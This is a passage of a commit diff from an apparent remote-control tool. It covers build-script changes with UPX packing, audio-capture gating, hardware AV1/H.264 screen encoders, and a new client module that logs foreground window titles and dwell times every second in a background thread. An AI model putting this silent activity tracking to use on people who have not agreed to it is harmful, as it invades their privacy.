if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args) if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args) if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args) if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
echo Unknown argument: %~1 echo Unknown argument: %~1
shift shift
goto :parse_args goto :parse_args
+100 -3
View File
@@ -15,11 +15,110 @@ param(
[switch]$ServerOnly, # Only build main server (Yama), skip client projects [switch]$ServerOnly, # Only build main server (Yama), skip client projects
[switch]$Clean, # Clean before build [switch]$Clean, # Clean before build
[switch]$Publish # Publish mode: rebuild all deps + x64 Release + UPX compress [switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
) )
$ErrorActionPreference = "Stop" $ErrorActionPreference = "Stop"
$rootDir = $PSScriptRoot
$binDir = Join-Path $rootDir "Bin"
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
function Build-GoServer {
param(
[string]$Configuration,
[switch]$Compress
)
Write-Host ""
Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
$goCmd = Get-Command go -ErrorAction SilentlyContinue
if (-not $goCmd) {
Write-Host "WARNING: Go compiler not found in PATH. Skipping Go server build." -ForegroundColor Yellow
Write-Host " Install from https://go.dev/dl/ and ensure 'go' is in PATH." -ForegroundColor DarkGray
return $false
}
Write-Host "Using Go: $($goCmd.Source)" -ForegroundColor Cyan
$goDir = Join-Path $rootDir "server\go"
if (-not (Test-Path $goDir)) {
Write-Host "ERROR: Go source directory not found at $goDir" -ForegroundColor Red
return $false
}
# Sync web assets (mirrors Makefile `sync` target — single source is server/web/index.html)
$webSrc = Join-Path $rootDir "server\web\index.html"
$webDstDir = Join-Path $goDir "web\assets"
if (Test-Path $webSrc) {
if (-not (Test-Path $webDstDir)) { New-Item -ItemType Directory -Path $webDstDir -Force | Out-Null }
Copy-Item -Path $webSrc -Destination (Join-Path $webDstDir "index.html") -Force
}
if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
$outFile = Join-Path $binDir "YamaGo_x64.exe"
# Release strips debug info for smaller binary; Debug keeps symbols.
$ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
Push-Location $goDir
try {
$env:GOOS = "windows"
$env:GOARCH = "amd64"
if ($ldflags) {
& go build -ldflags $ldflags -o $outFile ./cmd
} else {
& go build -o $outFile ./cmd
}
$code = $LASTEXITCODE
} finally {
Pop-Location
}
if ($code -ne 0) {
Write-Host "ERROR: Go build failed (exit $code)" -ForegroundColor Red
return $false
}
$size = (Get-Item $outFile).Length / 1MB
Write-Host "OK: $outFile ($($size.ToString('F2')) MB)" -ForegroundColor Green
# In-place UPX compression. Failure is a warning, not an error — the
# uncompressed binary is still usable, and UPX occasionally refuses on
# certain PE sections.
if ($Compress) {
Write-Host ""
Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
if (-not (Test-Path $upxPath)) {
Write-Host "WARNING: UPX not found at $upxPath — skipping compression" -ForegroundColor Yellow
} else {
$sizeBefore = (Get-Item $outFile).Length / 1MB
Write-Host " Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
& $upxPath --best $outFile
if ($LASTEXITCODE -ne 0) {
Write-Host "WARNING: UPX compression failed, uncompressed binary kept" -ForegroundColor Yellow
} else {
$sizeAfter = (Get-Item $outFile).Length / 1MB
$ratio = (1 - $sizeAfter / $sizeBefore) * 100
Write-Host " After: $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
}
}
}
return $true
}
# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
# Go binary too" (not the full C++ publish flow).
if ($GoServer) {
$ok = Build-GoServer -Configuration $Config -Compress:$Publish
if (-not $ok) { exit 1 }
exit 0
}
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview) # Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools # Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
$msBuildPaths = @( $msBuildPaths = @(
@@ -72,9 +171,7 @@ elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
$rootDir = $PSScriptRoot
$slnFile = Join-Path $rootDir "YAMA.sln" $slnFile = Join-Path $rootDir "YAMA.sln"
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
# Publish mode overrides # Publish mode overrides
if ($Publish) { if ($Publish) {
+126
View File
@@ -0,0 +1,126 @@
// ActivityHistory.cpp: 客户端历史活动记录采集模块
#include "stdafx.h"
#include "ActivityHistory.h"
#include "KernelManager.h" // ActivityWindow
ActivityHistory& ActivityHistory::Instance()
{
static ActivityHistory inst;
return inst;
}
void ActivityHistory::Start()
{
if (m_started.exchange(true))
return;
m_running = true;
m_thread = std::thread(&ActivityHistory::Loop, this);
}
void ActivityHistory::Stop()
{
m_running = false;
if (m_thread.joinable())
m_thread.join();
}
std::string ActivityHistory::Dump() const
{
std::lock_guard<std::mutex> lock(m_mutex);
std::string out;
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
for (const auto& r : m_records)
out += r + "\n";
return out;
}
void ActivityHistory::Loop()
{
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
ActivityWindow aw;
HWND lastHwnd = NULL;
std::string lastTitle;
std::string startTime;
int dwellSec = 0;
while (m_running) {
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
{
std::lock_guard<std::mutex> lock(m_mutex);
if (hwnd == NULL || title.empty()) {
// 空闲/锁定/无标题:结账上一个窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = NULL;
lastTitle.clear();
dwellSec = 0;
} else if (hwnd == lastHwnd) {
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
++dwellSec;
lastTitle = title;
} else {
// 窗口切换:结账上一个,开始累计新窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = hwnd;
lastTitle = title;
startTime = NowStr();
dwellSec = 1;
}
while (m_records.size() > ACTIVITY_HISTORY_MAX)
m_records.pop_back();
m_curTitle = lastTitle;
m_curStartTime = startTime;
m_curDwellSec = dwellSec;
}
Sleep(1000);
}
}
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
{
// 标题里的换行会破坏“每行一条”,做最小清洗
std::string t;
t.reserve(title.size());
for (char c : title) {
if (c == '\r' || c == '\n') c = ' ';
t += c;
}
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
}
std::string ActivityHistory::FormatDuration(int sec)
{
if (sec < 0) sec = 0;
if (sec < 60)
return std::to_string(sec) + "s";
if (sec < 3600) {
int m = sec / 60, s = sec % 60;
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
: std::to_string(m) + "m";
}
int h = sec / 3600, m = (sec % 3600) / 60;
return std::to_string(h) + "h" + std::to_string(m) + "m";
}
std::string ActivityHistory::NowStr()
{
SYSTEMTIME st;
GetLocalTime(&st);
char buf[32];
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
return buf;
}
+54
View File
@@ -0,0 +1,54 @@
#pragma once
#include <string>
#include <deque>
#include <mutex>
#include <thread>
#include <atomic>
// 历史活动记录:
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
class ActivityHistory
{
public:
static ActivityHistory& Instance();
// 启动常驻采样线程(幂等,重复调用无副作用)
void Start();
// 停止采样线程
void Stop();
// 返回全部历史记录(最新在前,多行文本,每行一条)
std::string Dump() const;
private:
ActivityHistory() = default;
~ActivityHistory() { Stop(); }
ActivityHistory(const ActivityHistory&) = delete;
ActivityHistory& operator=(const ActivityHistory&) = delete;
void Loop();
// 拼一条记录字符串
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
// 时长格式化:Ns / Nm / NmNs / NhNm
static std::string FormatDuration(int sec);
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
static std::string NowStr();
mutable std::mutex m_mutex;
std::deque<std::string> m_records; // 已完成记录,最新在前
std::string m_curTitle; // 当前进行中的窗口标题
std::string m_curStartTime; // 当前窗口的起始时间
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
std::atomic<bool> m_running{ false };
std::atomic<bool> m_started{ false };
std::thread m_thread;
};
+1
View File
@@ -74,6 +74,7 @@ CAudio::~CAudio()
WAIT (m_hThreadCallBack, 30); WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack) if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n"); Mprintf("没有成功关闭waveInCallBack.\n");
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
TerminateThread(m_Thread, -999); TerminateThread(m_Thread, -999);
m_Thread = NULL; m_Thread = NULL;
} }
+3
View File
@@ -8,6 +8,8 @@
#include <Mmsystem.h> #include <Mmsystem.h>
#include <IOSTREAM> #include <IOSTREAM>
#if ENABLE_AUDIO_MNG
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
@@ -127,3 +129,4 @@ BOOL CAudioManager::Initialize()
m_bIsWorking = TRUE; m_bIsWorking = TRUE;
return TRUE; return TRUE;
} }
#endif
+5
View File
@@ -12,6 +12,10 @@
#include "Manager.h" #include "Manager.h"
#include "Audio.h" #include "Audio.h"
#if ENABLE_AUDIO_MNG==0
#define CAudioManager CManager
#else
class CAudioManager : public CManager class CAudioManager : public CManager
{ {
@@ -28,5 +32,6 @@ public:
CAudio* m_AudioObject; CAudio* m_AudioObject;
LPBYTE szPacket; // 音频缓存区 LPBYTE szPacket; // 音频缓存区
}; };
#endif
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) #endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
+243
View File
@@ -0,0 +1,243 @@
#include "CFFmpegAV1Encoder.h"
#include "common/config.h"
#include "common/logger.h"
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现移出编译单元(FFmpeg lib 已在
// CFFmpegH264Encoder.cpp 用同条件链接,此处不重复 #pragma comment)
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
#include <libavutil/imgutils.h>
#include <libyuv/libyuv.h>
}
#include <string.h>
// FFmpeg / 系统库已经由 CFFmpegH264Encoder.cpp 的 #pragma comment(lib) 引入。
// 这里不再重复声明(重复 #pragma comment 在同一 link 单元不冲突但冗余)。
// av_opt_set 包装:拼错的参数值会被 FFmpeg 静默忽略,包一层日志便于发现。
// 实现与 CFFmpegH264Encoder 内的 helper 相同;放成 static 文件内可见即可。
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
int rc = av_opt_set(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
name, val, backend, rc, errbuf);
}
}
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
int rc = av_opt_set_int(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
name, (long long)val, backend, rc, errbuf);
}
}
// AV1 硬编后端探测顺序,没有 av1_mf 兜底(FFmpeg 7.1 不支持)。
// 全失败时 EncoderFactory 自动回退到 H.264 路径,行为对称。
static const char* kAV1Backends[] = {
"av1_nvenc", // NVIDIA RTX 40 / 50 系(Ada Lovelace+)
"av1_amf", // AMD RX 7000+(RDNA 3+)
"av1_qsv", // Intel Arc 独显 / 部分 11 代+ 核显
};
CFFmpegAV1Encoder::CFFmpegAV1Encoder() = default;
CFFmpegAV1Encoder::~CFFmpegAV1Encoder() {
close();
}
void CFFmpegAV1Encoder::cleanupCodec() {
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
}
void CFFmpegAV1Encoder::close() {
cleanupCodec();
m_backend.clear();
m_pts = 0;
m_forceIDR = false;
}
bool CFFmpegAV1Encoder::open(const EncoderParams& params) {
close();
for (const char* name : kAV1Backends) {
if (tryOpenBackend(name, params)) {
m_backend = name;
return true;
}
cleanupCodec();
}
return false;
}
bool CFFmpegAV1Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
const AVCodec* codec = avcodec_find_encoder_by_name(name);
if (!codec) {
// AV1 硬编没注册 = 老 ffmpeg lib 不含 AV1 encoder(compress\ffmpeg 没启用 av1)
Mprintf("=> FFmpeg: AV1 encoder '%s' NOT in linked lib\n", name);
return false;
}
m_ctx = avcodec_alloc_context3(codec);
if (!m_ctx) {
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
return false;
}
m_ctx->width = p.width & ~1;
m_ctx->height = p.height & ~1;
m_ctx->time_base = AVRational{1, p.fps};
m_ctx->framerate = AVRational{p.fps, 1};
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 15);
m_ctx->max_b_frames = 0;
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
// RC 策略与 H.264 路径对齐:peak-constrained VBR,远控静态画面省带宽。
if (strcmp(name, "av1_nvenc") == 0) {
// av1_nvenc preset p1~p7;远控 p5 兼顾质量与速度。
// tile-columns=1 把帧切两列,解码端并行更友好(浏览器 AV1 解码常用 SIMD/多线程)
setOpt(m_ctx->priv_data, "preset", "p5", name);
setOpt(m_ctx->priv_data, "tune", "ll", name);
setOpt(m_ctx->priv_data, "rc", "vbr", name);
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
setOptInt(m_ctx->priv_data, "tile-columns", 1, name);
} else if (strcmp(name, "av1_amf") == 0) {
// av1_amf 选项命名与 h264_amf 大体一致,rc 同样支持 vbr_peak
// (见 ffmpeg -h encoder=av1_amf)。静态画面省码率四件套同 H.264 路径。
setOpt(m_ctx->priv_data, "usage", "lowlatency", name);
setOpt(m_ctx->priv_data, "quality", "quality", name);
setOpt(m_ctx->priv_data, "rc", "vbr_peak", name);
setOptInt(m_ctx->priv_data, "vbaq", 1, name);
setOptInt(m_ctx->priv_data, "preanalysis", 1, name);
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
} else if (strcmp(name, "av1_qsv") == 0) {
// av1_qsv:bit_rate < max_rate 时自动 VBR
setOpt(m_ctx->priv_data, "preset", "slow", name);
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
setOptInt(m_ctx->priv_data, "low_power", 0, name);
}
int ret = avcodec_open2(m_ctx, codec, nullptr);
if (ret < 0) {
// 找到了但开不起来:无对应 GPU / 驱动太旧 / 跨适配器
char errbuf[128] = {0};
av_strerror(ret, errbuf, sizeof(errbuf));
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
return false;
}
m_frame = av_frame_alloc();
if (!m_frame) return false;
m_frame->format = AV_PIX_FMT_NV12;
m_frame->width = m_ctx->width;
m_frame->height = m_ctx->height;
if (av_frame_get_buffer(m_frame, 32) < 0) {
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
return false;
}
m_packet = av_packet_alloc();
return m_packet != nullptr;
}
void CFFmpegAV1Encoder::setBitrate(int kbps) {
if (!m_ctx) return;
m_ctx->bit_rate = (int64_t)kbps * 1000;
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
m_ctx->rc_buffer_size = (int)(kbps * 1000);
// 同 H.264 路径:多数硬编不支持运行时改 bit_rate 让 ctx 立刻生效;
// 这里仅更新数值,下次 open 时生效。
}
int CFFmpegAV1Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height,
int direction)
{
int signed_height = direction * (int)height;
int w = (int)width;
int h = (int)height;
int y_size = w * h;
int uv_size = (w / 2) * (h / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
uint8_t* y = m_i420Scratch.data();
uint8_t* u = y + y_size;
uint8_t* v = u + uv_size;
if (libyuv::RGB24ToI420(rgb, stride, y, w, u, w / 2, v, w / 2, w, signed_height) != 0)
return -1;
if (libyuv::I420ToNV12(y, w, u, w / 2, v, w / 2,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, h) != 0)
return -1;
return 0;
}
int CFFmpegAV1Encoder::encode(
uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize, int direction)
{
if (!m_ctx || !m_frame || !m_packet) return -1;
if (av_frame_make_writable(m_frame) < 0) return -1;
int w = (int)width;
int h = (int)height;
int signed_height = direction * h;
if (bpp == 32) {
if (libyuv::ARGBToNV12(
rgb, stride,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, signed_height) != 0) {
return -1;
}
} else if (bpp == 24) {
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
return -1;
}
} else {
return -2;
}
m_frame->pts = m_pts++;
if (m_forceIDR) {
m_frame->pict_type = AV_PICTURE_TYPE_I;
m_forceIDR = false;
} else {
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
}
int ret = avcodec_send_frame(m_ctx, m_frame);
if (ret < 0) return -3;
ret = avcodec_receive_packet(m_ctx, m_packet);
if (ret == AVERROR(EAGAIN)) {
*lppData = nullptr;
*lpSize = 0;
return 0;
}
if (ret < 0) return -4;
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
*lppData = m_outputBuffer.data();
*lpSize = (uint32_t)m_outputBuffer.size();
av_packet_unref(m_packet);
return 0;
}
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
+62
View File
@@ -0,0 +1,62 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/config.h"
#include <string>
#include <vector>
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
struct AVCodecContext;
struct AVFrame;
struct AVPacket;
// FFmpeg 硬编 AV1 实现。
// 后端探测顺序:av1_nvenc (NVIDIA RTX 40+) → av1_amf (AMD RX 7000+) → av1_qsv
// (Intel Arc / 11 代+ 部分核显)。AV1 硬编硬件门槛比 H.264 高得多 —— 没合适
// 硬件时 open 全部失败,由 EncoderFactory 自动回退到 H.264 路径。
//
// 注意:FFmpeg 7.1 没有 av1_mf 兜底,因此本类的探测列表比 H.264 短一项。
class CFFmpegAV1Encoder : public VideoEncoderBase
{
public:
CFFmpegAV1Encoder();
~CFFmpegAV1Encoder() override;
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) override;
void forceIDR() override { m_forceIDR = true; }
void setBitrate(int kbps) override;
VideoCodec codec() const override { return VideoCodec::AV1; }
const char* backendName() const override { return m_backend.c_str(); }
private:
bool tryOpenBackend(const char* name, const EncoderParams& p);
void cleanupCodec();
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height, int direction);
AVCodecContext* m_ctx = nullptr;
AVFrame* m_frame = nullptr;
AVPacket* m_packet = nullptr;
std::vector<uint8_t> m_outputBuffer;
std::vector<uint8_t> m_i420Scratch;
int64_t m_pts = 0;
bool m_forceIDR = false;
std::string m_backend;
};
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
+304
View File
@@ -0,0 +1,304 @@
#include "CFFmpegH264Encoder.h"
#include "common/config.h"
#include "common/logger.h"
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现 + 所有 #pragma comment(lib,"ffmpeg/...")
// 都不进编译单元,FFmpeg 静态库不会被链接进二进制
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
#include <libavutil/imgutils.h>
#include <libyuv/libyuv.h>
}
#include <string.h>
#include <cstdlib>
// FFmpeg 静态库 + 必要的 Windows 系统库。x86 build 不引入,由 _WIN64 守护。
// FFmpeg 三个核心库是纯 C,CRT 中性,Debug/Release 共用一份。
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
// dav1d (AV1 软解,C 项目) —— 不分 Debug/Release。
// build 时启用了 --enable-libdav1d,libavcodec 内部 av1 decoder 引用了 dav1d 符号。
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
// libvpl (Intel QSV, C++ 项目) —— 强制 CRT 一致,必须按 _DEBUG 切。
// build 时启用了 --enable-libvpl,libavcodec 内部 h264_qsv / av1_qsv encoder 引用 MFX 符号。
#ifdef _DEBUG
#pragma comment(lib,"ffmpeg/vpl_x64d.lib")
#else
#pragma comment(lib,"ffmpeg/vpl_x64.lib")
#endif
#pragma comment(lib, "mfplat.lib")
#pragma comment(lib, "mfuuid.lib")
#pragma comment(lib, "strmiids.lib")
#pragma comment(lib, "secur32.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
// ws2_32 在 IOCPClient.h 已 link,重复不冲突
#pragma comment(lib, "ws2_32.lib")
// av_opt_set wrappers:FFmpeg 在选项名/值拼错时 silently 返回 AVERROR_OPTION_NOT_FOUND
// 不报错,导致 encoder 退回默认行为且没人察觉(实际踩过:AMF rc=vbr_peak_constrained
// 拼成全名,FFmpeg 实际只接受 vbr_peak,没设上去就退回 CBR)。
// 包一层 helper,任何设置失败 Mprintf 警告。
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
int rc = av_opt_set(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
name, val, backend, rc, errbuf);
}
}
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
int rc = av_opt_set_int(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
name, (long long)val, backend, rc, errbuf);
}
}
// 后端探测顺序:NVIDIA > Intel > AMD > Windows MF 兜底。
// open() 主循环按顺序试,第一个 avcodec_open2 成功的就用。
// h264_mf 质量/稳定性一般,但是 Windows 系统级 hwaccel,任何 GPU 都能尝试,作最后兜底。
static const char* kH264Backends[] = {
"h264_nvenc", // NVIDIA NVENC
"h264_qsv", // Intel Quick Sync Video
"h264_amf", // AMD AMF
"h264_mf", // Windows Media Foundation
};
CFFmpegH264Encoder::CFFmpegH264Encoder() = default;
CFFmpegH264Encoder::~CFFmpegH264Encoder() {
close();
}
void CFFmpegH264Encoder::cleanupCodec() {
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
}
void CFFmpegH264Encoder::close() {
cleanupCodec();
m_backend.clear();
m_pts = 0;
m_forceIDR = false;
}
bool CFFmpegH264Encoder::open(const EncoderParams& params) {
close();
for (const char* name : kH264Backends) {
if (tryOpenBackend(name, params)) {
m_backend = name;
return true;
}
cleanupCodec(); // 释放本次失败的 ctx,准备下一次尝试
}
return false;
}
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
const AVCodec* codec = avcodec_find_encoder_by_name(name);
if (!codec) {
// 失败 = lib 里没注册这个 encoder。几乎肯定是链到了老 ffmpeg lib。
Mprintf("=> FFmpeg: encoder '%s' NOT in linked lib (old ffmpeg?)\n", name);
return false;
}
m_ctx = avcodec_alloc_context3(codec);
if (!m_ctx) {
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
return false;
}
// 偶数对齐(与 x264 路径 i_width/i_height & 0xfffffffe 一致)
m_ctx->width = p.width & ~1;
m_ctx->height = p.height & ~1;
m_ctx->time_base = AVRational{1, p.fps};
m_ctx->framerate = AVRational{p.fps, 1};
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 4);
m_ctx->max_b_frames = 0;
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
// RC 策略选择:远程办公 90% 时间是静态画面(文档/IDE/邮件),CBR 会强行
// 把目标码率填满(静态用不上的部分浪费带宽)。所有硬编后端统一改用 VBR,
// bit_rate 是平均目标、rc_max_rate (1.5x) 是峰值上限:静态时 encoder 自动
// 降码率省带宽,动态时回到目标 + 短暂上探到 1.5x 保证画质。
// 接近 x264 软编 CRF + VBV 的行为,但严格守住峰值不爆。
if (strcmp(name, "h264_nvenc") == 0) {
// NVENC preset: p1(最快/低质) ~ p7(最慢/高质),远控低延迟 p5 兼顾。
// tune=ll low-latency;rc=vbr 配 max_rate 实现峰值受限的 VBR。
setOpt(m_ctx->priv_data, "preset", "p5", name);
setOpt(m_ctx->priv_data, "tune", "ll", name);
setOpt(m_ctx->priv_data, "rc", "vbr", name);
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
} else if (strcmp(name, "h264_qsv") == 0) {
// Intel Quick Sync Video。preset: veryfast/faster/fast/medium/slow/slower/veryslow
// QSV 当 bit_rate != rc_max_rate 时自动走 VBR,所以这里只需调 preset。
// preset=slow 比 medium 慢但画质好,async_depth=1 单帧立即出包。
// low_power=0 走 PAK 路径,部分集显不支持 low_power 模式。
setOpt(m_ctx->priv_data, "preset", "slow", name);
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
setOptInt(m_ctx->priv_data, "low_power", 0, name);
} else if (strcmp(name, "h264_amf") == 0) {
// AMD AMF 远控低延迟配置:
// usage=ultralowlatency 比 lowlatency 更激进,关闭一切 lookahead;
// quality=speed 选最快编码路径(vs balanced/quality);
// rc=cbr 提供最可预测的输出节拍,避免 RC 切换抖动。
// 静态画面省码率交给应用层 skip 检测(ScreenCapture::GetNextScreenData
// 已经过 memcmp 把无变化帧直接拦在编码器之前),不再依赖 vbaq/preanalysis
// 这些会引入 30-100ms lookahead 的"省码率三件套"。
setOpt(m_ctx->priv_data, "usage", "ultralowlatency", name);
setOpt(m_ctx->priv_data, "quality", "speed", name);
setOpt(m_ctx->priv_data, "rc", "cbr", name);
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
} else if (strcmp(name, "h264_mf") == 0) {
